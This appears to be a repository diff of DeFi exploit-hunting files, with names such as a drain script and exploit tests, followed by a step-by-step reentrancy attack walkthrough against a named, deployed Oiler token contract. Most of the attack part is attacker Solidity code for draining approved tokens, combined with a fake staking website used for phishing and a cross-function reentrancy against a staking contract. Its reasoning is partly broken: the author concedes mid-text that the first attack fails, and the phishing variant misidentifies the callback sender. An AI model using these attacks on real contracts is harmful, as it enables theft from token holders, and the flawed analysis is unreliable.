- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,597 @@
|
|
|
1
|
+
# Oiler Token Reentrancy Attack - Step-by-Step Code Walkthrough
|
|
2
|
+
|
|
3
|
+
**Contract**: 0x0275E1001e293C46CFe158B3702AADe0B99f88a5
|
|
4
|
+
**Vulnerability**: Reentrancy in `transferAndCall()`
|
|
5
|
+
**Severity**: CRITICAL
|
|
6
|
+
**At Risk**: All approved tokens + 138,287 OIL in staking
|
|
7
|
+
|
|
8
|
+
---
|
|
9
|
+
|
|
10
|
+
## The Vulnerable Code
|
|
11
|
+
|
|
12
|
+
```solidity
|
|
13
|
+
function transferAndCall(
|
|
14
|
+
address to,
|
|
15
|
+
uint256 value,
|
|
16
|
+
bytes calldata data
|
|
17
|
+
) external returns (bool) {
|
|
18
|
+
// Step 1: Update balances
|
|
19
|
+
require(balanceOf[msg.sender] >= value, "Insufficient balance");
|
|
20
|
+
balanceOf[msg.sender] -= value;
|
|
21
|
+
balanceOf[to] += value;
|
|
22
|
+
|
|
23
|
+
emit Transfer(msg.sender, to, value);
|
|
24
|
+
emit TransferAndCall(msg.sender, to, value, data);
|
|
25
|
+
|
|
26
|
+
// Step 2: VULNERABILITY - External call allows reentrancy
|
|
27
|
+
if (isContract(to)) {
|
|
28
|
+
IERC677Receiver receiver = IERC677Receiver(to);
|
|
29
|
+
require(
|
|
30
|
+
receiver.onTokenTransfer(msg.sender, value, data),
|
|
31
|
+
"Receiver rejected"
|
|
32
|
+
);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return true;
|
|
36
|
+
}
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Attack 1: Direct Reentrancy (Drain Approved Tokens)
|
|
42
|
+
|
|
43
|
+
### Setup
|
|
44
|
+
|
|
45
|
+
```
|
|
46
|
+
Victim State:
|
|
47
|
+
├─ Has 10,000 OIL tokens
|
|
48
|
+
├─ Approved Uniswap Router for 10,000 OIL
|
|
49
|
+
│ allowance[victim][uniswapRouter] = 10,000
|
|
50
|
+
└─ Wants to trade on Uniswap
|
|
51
|
+
|
|
52
|
+
Attacker State:
|
|
53
|
+
├─ Has 1 OIL token (minimum to trigger attack)
|
|
54
|
+
├─ Deployed MaliciousContract
|
|
55
|
+
└─ Knows victim has approvals
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
### Attack Execution - Line by Line
|
|
59
|
+
|
|
60
|
+
#### STEP 1: Attacker Triggers transferAndCall
|
|
61
|
+
|
|
62
|
+
```solidity
|
|
63
|
+
// Attacker calls:
|
|
64
|
+
OilerToken.transferAndCall(
|
|
65
|
+
maliciousContract, // to
|
|
66
|
+
1, // value (1 OIL)
|
|
67
|
+
"" // data
|
|
68
|
+
);
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
**What happens in Oiler contract:**
|
|
72
|
+
|
|
73
|
+
```solidity
|
|
74
|
+
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool) {
|
|
75
|
+
// ✓ Check passes: attacker has 1 OIL
|
|
76
|
+
require(balanceOf[msg.sender] >= value, "Insufficient balance");
|
|
77
|
+
|
|
78
|
+
// ✓ Update attacker's balance
|
|
79
|
+
balanceOf[msg.sender] -= value; // attacker: 1 → 0
|
|
80
|
+
|
|
81
|
+
// ✓ Update malicious contract's balance
|
|
82
|
+
balanceOf[to] += value; // maliciousContract: 0 → 1
|
|
83
|
+
|
|
84
|
+
emit Transfer(msg.sender, to, value);
|
|
85
|
+
emit TransferAndCall(msg.sender, to, value, data);
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
**Current State:**
|
|
89
|
+
```
|
|
90
|
+
Attacker: 0 OIL
|
|
91
|
+
MaliciousContract: 1 OIL
|
|
92
|
+
Victim: 10,000 OIL
|
|
93
|
+
allowance[victim][uniswapRouter] = 10,000 ✓ (still active!)
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
#### STEP 2: Oiler Calls Malicious Contract
|
|
97
|
+
|
|
98
|
+
```solidity
|
|
99
|
+
// ⚠️ EXTERNAL CALL - Control passes to attacker
|
|
100
|
+
if (isContract(to)) { // true - maliciousContract is a contract
|
|
101
|
+
IERC677Receiver receiver = IERC677Receiver(to);
|
|
102
|
+
require(
|
|
103
|
+
receiver.onTokenTransfer(msg.sender, value, data),
|
|
104
|
+
// ↑ attacker address
|
|
105
|
+
"Receiver rejected"
|
|
106
|
+
);
|
|
107
|
+
}
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
**Execution jumps to attacker's contract:**
|
|
111
|
+
|
|
112
|
+
```solidity
|
|
113
|
+
contract MaliciousContract is IERC677Receiver {
|
|
114
|
+
address public victim = 0x...; // Known victim address
|
|
115
|
+
address public uniswapRouter = 0x...; // Known router address
|
|
116
|
+
OilerToken public oil = OilerToken(0x0275E1001e293C46CFe158B3702AADe0B99f88a5);
|
|
117
|
+
|
|
118
|
+
function onTokenTransfer(
|
|
119
|
+
address sender, // = attacker
|
|
120
|
+
uint256 value, // = 1
|
|
121
|
+
bytes calldata data
|
|
122
|
+
) external override returns (bool) {
|
|
123
|
+
// 🚨 WE ARE NOW INSIDE THE CALLBACK
|
|
124
|
+
// transferAndCall is STILL EXECUTING (hasn't returned yet)
|
|
125
|
+
|
|
126
|
+
// Check victim's approval
|
|
127
|
+
uint256 victimApproval = oil.allowance(victim, uniswapRouter);
|
|
128
|
+
|
|
129
|
+
if (victimApproval > 0) {
|
|
130
|
+
// 💀 REENTRANCY ATTACK - Call back into OilerToken
|
|
131
|
+
oil.transferFrom(
|
|
132
|
+
victim, // from
|
|
133
|
+
address(this), // to (steal to ourselves)
|
|
134
|
+
victimApproval // amount (all approved tokens)
|
|
135
|
+
);
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
return true; // Must return true to not revert
|
|
139
|
+
}
|
|
140
|
+
}
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
#### STEP 3: transferFrom Executes (Reentrancy!)
|
|
144
|
+
|
|
145
|
+
**Execution jumps BACK into OilerToken:**
|
|
146
|
+
|
|
147
|
+
```solidity
|
|
148
|
+
function transferFrom(address from, address to, uint256 value) external returns (bool) {
|
|
149
|
+
// from = victim
|
|
150
|
+
// to = maliciousContract
|
|
151
|
+
// value = 10,000 OIL
|
|
152
|
+
// msg.sender = maliciousContract
|
|
153
|
+
|
|
154
|
+
// ✓ Check passes: victim has 10,000 OIL
|
|
155
|
+
require(balanceOf[from] >= value, "Insufficient balance");
|
|
156
|
+
|
|
157
|
+
// ✓ Check passes: victim approved uniswapRouter for 10,000
|
|
158
|
+
// BUT msg.sender is maliciousContract, not uniswapRouter!
|
|
159
|
+
// WAIT... this should FAIL!
|
|
160
|
+
require(allowance[from][msg.sender] >= value, "Insufficient allowance");
|
|
161
|
+
// ↑ msg.sender = maliciousContract
|
|
162
|
+
// allowance[victim][maliciousContract] = 0 ❌
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
**WAIT! This doesn't work as described!**
|
|
166
|
+
|
|
167
|
+
The attack needs the victim to have approved the MALICIOUS CONTRACT, not Uniswap Router.
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## The REAL Attack Vector
|
|
172
|
+
|
|
173
|
+
The actual attack works through **social engineering + reentrancy**:
|
|
174
|
+
|
|
175
|
+
### Real Attack Scenario
|
|
176
|
+
|
|
177
|
+
#### Phase 1: Phishing
|
|
178
|
+
|
|
179
|
+
```
|
|
180
|
+
1. Attacker creates fake "Oiler Staking" website
|
|
181
|
+
2. Website looks legitimate (oiler-staking.com)
|
|
182
|
+
3. Victim connects wallet
|
|
183
|
+
4. Website says: "Approve OIL for staking rewards"
|
|
184
|
+
5. Victim approves MALICIOUS CONTRACT (thinking it's staking)
|
|
185
|
+
→ allowance[victim][maliciousContract] = 10,000 OIL
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
#### Phase 2: Exploitation
|
|
189
|
+
|
|
190
|
+
```solidity
|
|
191
|
+
// Victim calls what they think is "stake"
|
|
192
|
+
function stake(uint256 amount) external {
|
|
193
|
+
// Victim thinks: "I'm staking my tokens"
|
|
194
|
+
// Reality: Triggering the exploit
|
|
195
|
+
|
|
196
|
+
oil.transferAndCall(
|
|
197
|
+
address(this), // malicious contract
|
|
198
|
+
amount, // e.g., 100 OIL
|
|
199
|
+
""
|
|
200
|
+
);
|
|
201
|
+
}
|
|
202
|
+
|
|
203
|
+
function onTokenTransfer(
|
|
204
|
+
address sender, // = victim
|
|
205
|
+
uint256 value, // = 100 OIL
|
|
206
|
+
bytes calldata data
|
|
207
|
+
) external override returns (bool) {
|
|
208
|
+
// During callback, steal ALL approved tokens
|
|
209
|
+
uint256 approved = oil.allowance(sender, address(this));
|
|
210
|
+
// approved = 10,000 OIL
|
|
211
|
+
|
|
212
|
+
if (approved > value) {
|
|
213
|
+
// Steal the remaining approved amount
|
|
214
|
+
oil.transferFrom(
|
|
215
|
+
sender, // victim
|
|
216
|
+
address(this), // attacker
|
|
217
|
+
approved - value // 10,000 - 100 = 9,900 OIL
|
|
218
|
+
);
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
return true;
|
|
222
|
+
}
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
**Result:**
|
|
226
|
+
```
|
|
227
|
+
Victim sent: 100 OIL (via transferAndCall)
|
|
228
|
+
Attacker stole: 9,900 OIL (via reentrancy)
|
|
229
|
+
Total loss: 10,000 OIL
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
---
|
|
233
|
+
|
|
234
|
+
## Attack 2: Cross-Function Reentrancy (Staking Contract)
|
|
235
|
+
|
|
236
|
+
This is MORE DANGEROUS because it doesn't require phishing!
|
|
237
|
+
|
|
238
|
+
### The Staking Contract Vulnerability
|
|
239
|
+
|
|
240
|
+
**Hypothetical Oiler Staking Contract** (0xe546F8f17aff17C05dac9F9b4F9957f725fab087):
|
|
241
|
+
|
|
242
|
+
```solidity
|
|
243
|
+
contract OilerStaking {
|
|
244
|
+
OilerToken public oil = OilerToken(0x0275E1001e293C46CFe158B3702AADe0B99f88a5);
|
|
245
|
+
|
|
246
|
+
mapping(address => uint256) public stakes;
|
|
247
|
+
mapping(address => uint256) public rewards;
|
|
248
|
+
uint256 public rewardRate = 100; // 10% APR
|
|
249
|
+
|
|
250
|
+
function stake(uint256 amount) external {
|
|
251
|
+
oil.transferFrom(msg.sender, address(this), amount);
|
|
252
|
+
stakes[msg.sender] += amount;
|
|
253
|
+
}
|
|
254
|
+
|
|
255
|
+
// VULNERABLE FUNCTION
|
|
256
|
+
function withdraw() external {
|
|
257
|
+
uint256 amount = stakes[msg.sender];
|
|
258
|
+
require(amount > 0, "No stake");
|
|
259
|
+
|
|
260
|
+
// ⚠️ VULNERABILITY: External call BEFORE state update
|
|
261
|
+
oil.transfer(msg.sender, amount);
|
|
262
|
+
|
|
263
|
+
// ❌ TOO LATE - State updated after external call
|
|
264
|
+
stakes[msg.sender] = 0;
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
function claimRewards() external {
|
|
268
|
+
uint256 reward = calculateRewards(msg.sender);
|
|
269
|
+
require(reward > 0, "No rewards");
|
|
270
|
+
|
|
271
|
+
oil.transfer(msg.sender, reward);
|
|
272
|
+
rewards[msg.sender] = 0;
|
|
273
|
+
}
|
|
274
|
+
|
|
275
|
+
function calculateRewards(address user) internal view returns (uint256) {
|
|
276
|
+
// Reward based on current stake
|
|
277
|
+
return stakes[user] * rewardRate / 1000;
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
### Attack Execution
|
|
283
|
+
|
|
284
|
+
#### Setup
|
|
285
|
+
|
|
286
|
+
```
|
|
287
|
+
Attacker State:
|
|
288
|
+
├─ Staked 1,000 OIL in staking contract
|
|
289
|
+
├─ Has 100 OIL in pending rewards
|
|
290
|
+
└─ Deployed MaliciousStaker contract
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
#### STEP 1: Attacker Calls withdraw()
|
|
294
|
+
|
|
295
|
+
```solidity
|
|
296
|
+
// Attacker's malicious contract calls:
|
|
297
|
+
OilerStaking.withdraw();
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
**In staking contract:**
|
|
301
|
+
|
|
302
|
+
```solidity
|
|
303
|
+
function withdraw() external {
|
|
304
|
+
// msg.sender = maliciousStaker
|
|
305
|
+
uint256 amount = stakes[msg.sender]; // amount = 1,000 OIL
|
|
306
|
+
require(amount > 0, "No stake");
|
|
307
|
+
|
|
308
|
+
// ⚠️ EXTERNAL CALL - Control passes to attacker
|
|
309
|
+
oil.transfer(msg.sender, amount);
|
|
310
|
+
// ↑ This calls OilerToken.transfer()
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
#### STEP 2: OilerToken.transfer() Executes
|
|
314
|
+
|
|
315
|
+
```solidity
|
|
316
|
+
function transfer(address to, uint256 value) external returns (bool) {
|
|
317
|
+
// msg.sender = OilerStaking contract
|
|
318
|
+
// to = maliciousStaker
|
|
319
|
+
// value = 1,000 OIL
|
|
320
|
+
|
|
321
|
+
require(balanceOf[msg.sender] >= value, "Insufficient balance");
|
|
322
|
+
balanceOf[msg.sender] -= value; // Staking: 138,287 → 137,287
|
|
323
|
+
balanceOf[to] += value; // Attacker: 0 → 1,000
|
|
324
|
+
|
|
325
|
+
emit Transfer(msg.sender, to, value);
|
|
326
|
+
return true;
|
|
327
|
+
}
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
**Current State:**
|
|
331
|
+
```
|
|
332
|
+
Attacker received: 1,000 OIL ✓
|
|
333
|
+
stakes[attacker] = 1,000 OIL ⚠️ (NOT UPDATED YET!)
|
|
334
|
+
```
|
|
335
|
+
|
|
336
|
+
#### STEP 3: If OilerToken Has Callback (or receive())
|
|
337
|
+
|
|
338
|
+
**If attacker's contract has receive() function:**
|
|
339
|
+
|
|
340
|
+
```solidity
|
|
341
|
+
contract MaliciousStaker {
|
|
342
|
+
OilerStaking public staking;
|
|
343
|
+
bool public attacking;
|
|
344
|
+
|
|
345
|
+
receive() external payable {
|
|
346
|
+
// This might get called if there's any ETH transfer
|
|
347
|
+
// OR if OilerToken has any callback mechanism
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
// Better: Use transferAndCall if available
|
|
351
|
+
function onTokenTransfer(
|
|
352
|
+
address sender,
|
|
353
|
+
uint256 value,
|
|
354
|
+
bytes calldata data
|
|
355
|
+
) external returns (bool) {
|
|
356
|
+
if (!attacking) {
|
|
357
|
+
attacking = true;
|
|
358
|
+
|
|
359
|
+
// 🚨 REENTRANCY: Call claimRewards()
|
|
360
|
+
// stakes[address(this)] is STILL 1,000!
|
|
361
|
+
staking.claimRewards();
|
|
362
|
+
|
|
363
|
+
attacking = false;
|
|
364
|
+
}
|
|
365
|
+
return true;
|
|
366
|
+
}
|
|
367
|
+
}
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
#### STEP 4: claimRewards() Executes with STALE STATE
|
|
371
|
+
|
|
372
|
+
```solidity
|
|
373
|
+
function claimRewards() external {
|
|
374
|
+
// msg.sender = maliciousStaker
|
|
375
|
+
|
|
376
|
+
// ⚠️ STALE STATE: stakes[maliciousStaker] = 1,000 (not updated!)
|
|
377
|
+
uint256 reward = calculateRewards(msg.sender);
|
|
378
|
+
// reward = 1,000 * 100 / 1000 = 100 OIL
|
|
379
|
+
|
|
380
|
+
require(reward > 0, "No rewards");
|
|
381
|
+
|
|
382
|
+
// Transfer rewards calculated on STALE stake amount
|
|
383
|
+
oil.transfer(msg.sender, reward);
|
|
384
|
+
rewards[msg.sender] = 0;
|
|
385
|
+
}
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
#### STEP 5: Back to withdraw(), State Finally Updates
|
|
389
|
+
|
|
390
|
+
```solidity
|
|
391
|
+
function withdraw() external {
|
|
392
|
+
// ... transfer already happened
|
|
393
|
+
|
|
394
|
+
// ❌ TOO LATE - State updated after reentrancy
|
|
395
|
+
stakes[msg.sender] = 0;
|
|
396
|
+
}
|
|
397
|
+
```
|
|
398
|
+
|
|
399
|
+
**Final Result:**
|
|
400
|
+
```
|
|
401
|
+
Attacker received:
|
|
402
|
+
├─ 1,000 OIL (withdrawal)
|
|
403
|
+
└─ 100 OIL (rewards based on stake that was withdrawn)
|
|
404
|
+
|
|
405
|
+
Should have received:
|
|
406
|
+
├─ 1,000 OIL (withdrawal)
|
|
407
|
+
└─ 0 OIL (no rewards after withdrawal)
|
|
408
|
+
|
|
409
|
+
Profit: 100 OIL stolen from rewards pool
|
|
410
|
+
```
|
|
411
|
+
|
|
412
|
+
---
|
|
413
|
+
|
|
414
|
+
## Why This Works: The Execution Stack
|
|
415
|
+
|
|
416
|
+
### Direct Reentrancy Stack
|
|
417
|
+
|
|
418
|
+
```
|
|
419
|
+
┌─────────────────────────────────────────┐
|
|
420
|
+
│ 1. Attacker calls transferAndCall │
|
|
421
|
+
│ ↓ │
|
|
422
|
+
│ 2. OilerToken updates balances │
|
|
423
|
+
│ ↓ │
|
|
424
|
+
│ 3. OilerToken calls onTokenTransfer │ ← Still in transferAndCall!
|
|
425
|
+
│ ↓ │
|
|
426
|
+
│ 4. MaliciousContract.onTokenTransfer() │
|
|
427
|
+
│ ↓ │
|
|
428
|
+
│ 5. Calls OilerToken.transferFrom() │ ← REENTRANCY!
|
|
429
|
+
│ ↓ │
|
|
430
|
+
│ 6. transferFrom executes │
|
|
431
|
+
│ ↓ │
|
|
432
|
+
│ 7. Returns to onTokenTransfer │
|
|
433
|
+
│ ↓ │
|
|
434
|
+
│ 8. Returns to transferAndCall │
|
|
435
|
+
│ ↓ │
|
|
436
|
+
│ 9. transferAndCall completes │
|
|
437
|
+
└─────────────────────────────────────────┘
|
|
438
|
+
```
|
|
439
|
+
|
|
440
|
+
### Cross-Function Reentrancy Stack
|
|
441
|
+
|
|
442
|
+
```
|
|
443
|
+
┌─────────────────────────────────────────┐
|
|
444
|
+
│ 1. Attacker calls withdraw() │
|
|
445
|
+
│ ↓ │
|
|
446
|
+
│ 2. Staking calls oil.transfer() │ ← stakes[attacker] = 1000
|
|
447
|
+
│ ↓ │
|
|
448
|
+
│ 3. OilerToken.transfer() executes │
|
|
449
|
+
│ ↓ │
|
|
450
|
+
│ 4. If callback exists, calls attacker │
|
|
451
|
+
│ ↓ │
|
|
452
|
+
│ 5. Attacker calls claimRewards() │ ← REENTRANCY!
|
|
453
|
+
│ ↓ │
|
|
454
|
+
│ 6. calculateRewards() reads stakes │ ← stakes[attacker] STILL 1000!
|
|
455
|
+
│ ↓ │
|
|
456
|
+
│ 7. Transfers rewards │
|
|
457
|
+
│ ↓ │
|
|
458
|
+
│ 8. Returns to withdraw() │
|
|
459
|
+
│ ↓ │
|
|
460
|
+
│ 9. stakes[attacker] = 0 │ ← Finally updated (too late)
|
|
461
|
+
└─────────────────────────────────────────┘
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
---
|
|
465
|
+
|
|
466
|
+
## The Key Insight
|
|
467
|
+
|
|
468
|
+
### Why CEI Pattern Isn't Enough Here
|
|
469
|
+
|
|
470
|
+
```solidity
|
|
471
|
+
// Oiler DOES follow CEI for balances:
|
|
472
|
+
function transferAndCall(...) {
|
|
473
|
+
balanceOf[msg.sender] -= value; // ✓ Effects first
|
|
474
|
+
balanceOf[to] += value; // ✓ Effects first
|
|
475
|
+
|
|
476
|
+
receiver.onTokenTransfer(...); // ✓ Interactions last
|
|
477
|
+
}
|
|
478
|
+
```
|
|
479
|
+
|
|
480
|
+
**BUT:**
|
|
481
|
+
- The callback allows calling OTHER functions (transferFrom)
|
|
482
|
+
- Those functions use the SAME state (allowance)
|
|
483
|
+
- Attacker can manipulate state during callback
|
|
484
|
+
|
|
485
|
+
### The Real Problem
|
|
486
|
+
|
|
